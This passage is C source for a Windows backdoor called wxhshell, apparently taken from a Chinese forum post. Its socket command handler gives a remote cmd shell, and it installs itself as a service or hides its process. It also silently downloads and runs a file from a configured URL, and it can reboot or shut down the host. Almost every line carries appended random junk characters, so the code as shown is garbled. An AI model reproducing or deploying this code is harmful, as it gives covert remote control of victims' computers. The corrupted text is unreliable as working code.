  case '?': { Qzbelt@Wx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $y~!ePKh  
    break; 8Qtd,  
  } t>[K:[0U  
  // 安装 ,Q~C F;qe  
  case 'i': { .iFd  
    if(Install()) yM(zc/?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3#7D g't  
    else S'"(zc3 =  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A%S6&!I:(  
    break; l!z0lh- J  
    } Y Gb&mD  
  // 卸载 ^DZ(T+q,  
  case 'r': { )r _zM~jI  
    if(Uninstall()) z>HeM Mei  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ao>`[-  
    else $agd9z,&m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0mj^Tms  
    break; G&FA~c  
    } .0$$H"t  
  // 显示 wxhshell 所在路径 -' 7I|r  
  case 'p': { 595P04  
    char svExeFile[MAX_PATH]; gKK*` L~  
    strcpy(svExeFile,"\n\r"); j_2-  
      strcat(svExeFile,ExeFile); Zr`pOUk!4  
        send(wsh,svExeFile,strlen(svExeFile),0); ;  ntq%  
    break; Z~O1$,Z  
    } ! Ff/RRo  
  // 重启 1muB* O  
  case 'b': { 9Tbi_6[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Y"c1f2  
    if(Boot(REBOOT)) ]<\Ft H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C^>txui8  
    else { `4V_I%lJ&  
    closesocket(wsh); sYlA{Z"  
    ExitThread(0); OmO/x  
    } *^cJn*QeL  
    break; RGrra<  
    } $J8?!Xg  
  // 关机 Vo*38c2  
  case 'd': { 1^<R2x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); + D ,Nd=/  
    if(Boot(SHUTDOWN)) 8. 9TWsZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EMy Med_  
    else { 7VWq8FH`  
    closesocket(wsh); "PO>@tY  
    ExitThread(0); WVPnyVDc  
    } .6I*=qv)NA  
    break; E3X6-J|  
    } LIM cZh;  
  // 获取shell e RiPC  
  case 's': { X"yj sk  
    CmdShell(wsh); )@"iWQ 3K  
    closesocket(wsh); i@7b  
    ExitThread(0); mx`C6G5  
    break; r=8(n<;Co  
  } vMBF7Jfx  
  // 退出 x[]}Jf{t  
  case 'x': { C(( 7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9|19ia@[\  
    CloseIt(wsh); wBr$3:  
    break; >0yx!Iao  
    } +S!gS|8P  
  // 离开 7]}n 0*fe  
  case 'q': { -*;-T9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q'u^v PO  
    closesocket(wsh); &p>VTD  
    WSACleanup(); [v7)xV@c  
    exit(1); R0>GM`{  
    break; ? OrRTRW  
        } sdkKvo. y0  
  } H^UuT  
  } G&i<&.i  
/b3b0VfF  
  // 提示信息 )HPt(Ck  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?f{{{0$S  
} y7[D9ZvZ  
  } RLuA^ONI  
E3IB> f  
  return; <5oG[1j  
} fB~BVYi  
>z&|<H%  
// shell模块句柄 u=epnz:<  
int CmdShell(SOCKET sock) EJF*_<f9O  
{ i vy+e-)  
STARTUPINFO si; ZaxBr  
ZeroMemory(&si,sizeof(si)); \UKr|[P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {(o$? =  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9 gt$z}oU  
PROCESS_INFORMATION ProcessInfo; 9 F"2$;  
char cmdline[]="cmd"; Bismd21F6=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <B,z)c  
  return 0; pDW4DF:`(  
} GR@jn]50  
85$W\d  
// 自身启动模式 6 w"-&  
int StartFromService(void) ~0S_S+e  
{ u 3&9R)J1  
typedef struct 37:\X5)z/  
{ $9_yD&&  
  DWORD ExitStatus; | Vl Q0{  
  DWORD PebBaseAddress; {5<3./5O  
  DWORD AffinityMask; K0681_bp  
  DWORD BasePriority; {yPJYF_l  
  ULONG UniqueProcessId; N{6 - rR  
  ULONG InheritedFromUniqueProcessId; DB1F _!9  
}   PROCESS_BASIC_INFORMATION; T@V<J'  
9d4Agj M  
PROCNTQSIP NtQueryInformationProcess; :i;iSrKy  
x>Hg.%/c[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pf_(?\oz>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e;Iz K]kP  
'"# W!p  
  HANDLE             hProcess; Rh%c<</`0s  
  PROCESS_BASIC_INFORMATION pbi; Rd4 z+G  
)U>JFgpIW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !G`7T  
  if(NULL == hInst ) return 0; .?C-J  
-F&4<\=+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P5vxQR_*lc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q6xm#Fd'.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +W{ELdup%q  
0vu$dxb[  
  if (!NtQueryInformationProcess) return 0; qB%?t.k7  
Lm-yTMNPn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3&'u7e  
  if(!hProcess) return 0; u0Nag=cU  
=wd=TX/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q4'Vb  
Y Ib=rR[ $  
  CloseHandle(hProcess); ?3X(`:KB  
H <gC{:S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n/>^!S  
if(hProcess==NULL) return 0; [;rty<Z^b  
:P!"'&gCL  
HMODULE hMod; Qxw?D4/Y  
char procName[255]; ~Ogtgr  
unsigned long cbNeeded; > 4c7r~\k  
tEj-c@`"x-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -#9Hb.Q;  
zvzS$Gpe  
  CloseHandle(hProcess); ZmJ!ZKKch  
f&z@J,_=  
if(strstr(procName,"services")) return 1; // 以服务启动 v,=[!=8!  
2HxT+|~d6  
  return 0; // 注册表启动 qHAZ)Tz  
} Y,?!"  
??4#)n k  
// 主模块 1$Jria5n  
int StartWxhshell(LPSTR lpCmdLine) >u6*P{;\  
{ u]D>O$_ s  
  SOCKET wsl; Lc0 U-!{G  
BOOL val=TRUE; K`BNSdEN>  
  int port=0; nBVR)|+M  
  struct sockaddr_in door; k|O?qE1hP  
2 /rDi  
  if(wscfg.ws_autoins) Install(); ? iX1;c9  
}I1A4=d  
port=atoi(lpCmdLine); -G!W6$Y  
)]\?Yyg]  
if(port<=0) port=wscfg.ws_port; m|7lDfpb  
,b&-o?.{  
  WSADATA data; Usa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0:,8Ce  
POnI&y]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &~%( RO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `u./2]n  
  door.sin_family = AF_INET; lzKJy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); shjq4# 9  
  door.sin_port = htons(port); |Lq -vs?  
qWQ7:*DL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yNVmTb9mF  
closesocket(wsl); 3?}W0dZ$d  
return 1; :X?bWxOJ  
} ?|&plf |  
BQs~>}(V  
  if(listen(wsl,2) == INVALID_SOCKET) { h-^7cHI}  
closesocket(wsl); eH*u,/  
return 1; P3due|4M  
} f9Vxtd  
  Wxhshell(wsl); v Ft]n  
  WSACleanup(); k Xs&k8  
yf2I%\p}  
return 0; w""5T|  
nA!Xb'y&  
} C:]&V*d.v4  
liYR8D |  
// 以NT服务方式启动 :s Mc}k?9S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q}nL'KQ,n  
{ jq4'=L$4  
DWORD   status = 0; =<_ei|ME  
  DWORD   specificError = 0xfffffff; m4U7{sE  
""j(wUp-W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X j'7nj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5`ma#_zk|f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pB3dx#l  
  serviceStatus.dwWin32ExitCode     = 0; 6.%V"l   
  serviceStatus.dwServiceSpecificExitCode = 0; J!%cHqR  
  serviceStatus.dwCheckPoint       = 0; )u. ut8![T  
  serviceStatus.dwWaitHint       = 0; `=]I -5#.W  
JG2)-x;9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lL*k!lNs  
  if (hServiceStatusHandle==0) return; 8gA:s`ofJ  
C$Y pk\p  
status = GetLastError(); { .z6J)?J2  
  if (status!=NO_ERROR) c'9-SY1'~  
{ 1I#S?RSb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bS0z\!1  
    serviceStatus.dwCheckPoint       = 0; 2 |fN*Wm  
    serviceStatus.dwWaitHint       = 0; zLG5m]G4D  
    serviceStatus.dwWin32ExitCode     = status; K1P3 FfG  
    serviceStatus.dwServiceSpecificExitCode = specificError; )8H5ovj.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q( WE.ux)<  
    return; a;Nj'M~U  
  } FyXz(l:  
Q%xvS,oI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hL\gI(B  
  serviceStatus.dwCheckPoint       = 0; cVzOW|NVx  
  serviceStatus.dwWaitHint       = 0; 6 u3$ .Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DqLZc01>  
} EDm,Y  
=R M=@X  
// 处理NT服务事件,比如:启动、停止 py,B6UB5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }&Eb {'  
{ AZmABl  
switch(fdwControl) xh7#\m_U8  
{ DR."C+  
case SERVICE_CONTROL_STOP: &Rgy/1  
  serviceStatus.dwWin32ExitCode = 0; JRMe( ,u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'RIlyH~Yf  
  serviceStatus.dwCheckPoint   = 0; S`LS/)  
  serviceStatus.dwWaitHint     = 0; &yKUf  
  { 8:j8>K*6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4v+4qyMyE  
  } @"*8nV#  
  return; 3>[_2}l  
case SERVICE_CONTROL_PAUSE: XYbc1+C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yqpb_h9  
  break; Pg3O )D9  
case SERVICE_CONTROL_CONTINUE: =K<8X!xUW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :les 3T}2  
  break; aqTMOWyeu  
case SERVICE_CONTROL_INTERROGATE: _kR,R"lh  
  break; mQQ5>0^m  
}; `(|jm$Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @_&@M~ u  
} ]M|Iy~ X   
MB,;HeP!  
// 标准应用程序主函数 ';buS -|6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) anj*a<C<  
{ p[*NekE6-  
l\W[WQP h  
// 获取操作系统版本 K!q:A+]  
OsIsNt=GetOsVer(); gi;#?gps  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Te`Z Qqb  
M[ea!an  
  // 从命令行安装 1uTbN  
  if(strpbrk(lpCmdLine,"iI")) Install(); W&[}-E8<Y  
gt5  
  // 下载执行文件 JFx=X=C  
if(wscfg.ws_downexe) { )-FQ_K%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gt3;Xi  
  WinExec(wscfg.ws_filenam,SW_HIDE); F`9;s@V*  
} ,Yg<Z1  
w, u`06  
if(!OsIsNt) { 2nOoG/6 E  
// 如果时win9x,隐藏进程并且设置为注册表启动 T,h,)|:I^  
HideProc(); YShtoaCx>  
StartWxhshell(lpCmdLine); iVM{ L  
} .'Vjs2 2  
else ]p(jL7  
  if(StartFromService()) DXAA[hUjF  
  // 以服务方式启动 p&=F:-  
  StartServiceCtrlDispatcher(DispatchTable); dKcHj<'E/  
else hia_CuY#  
  // 普通方式启动 W! FmC$Kc  
  StartWxhshell(lpCmdLine); dB7E&"f  
}}v04~  
return 0; 2U6j?MyH2  
}
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只看该作者 1 发表于: 2006-10-10
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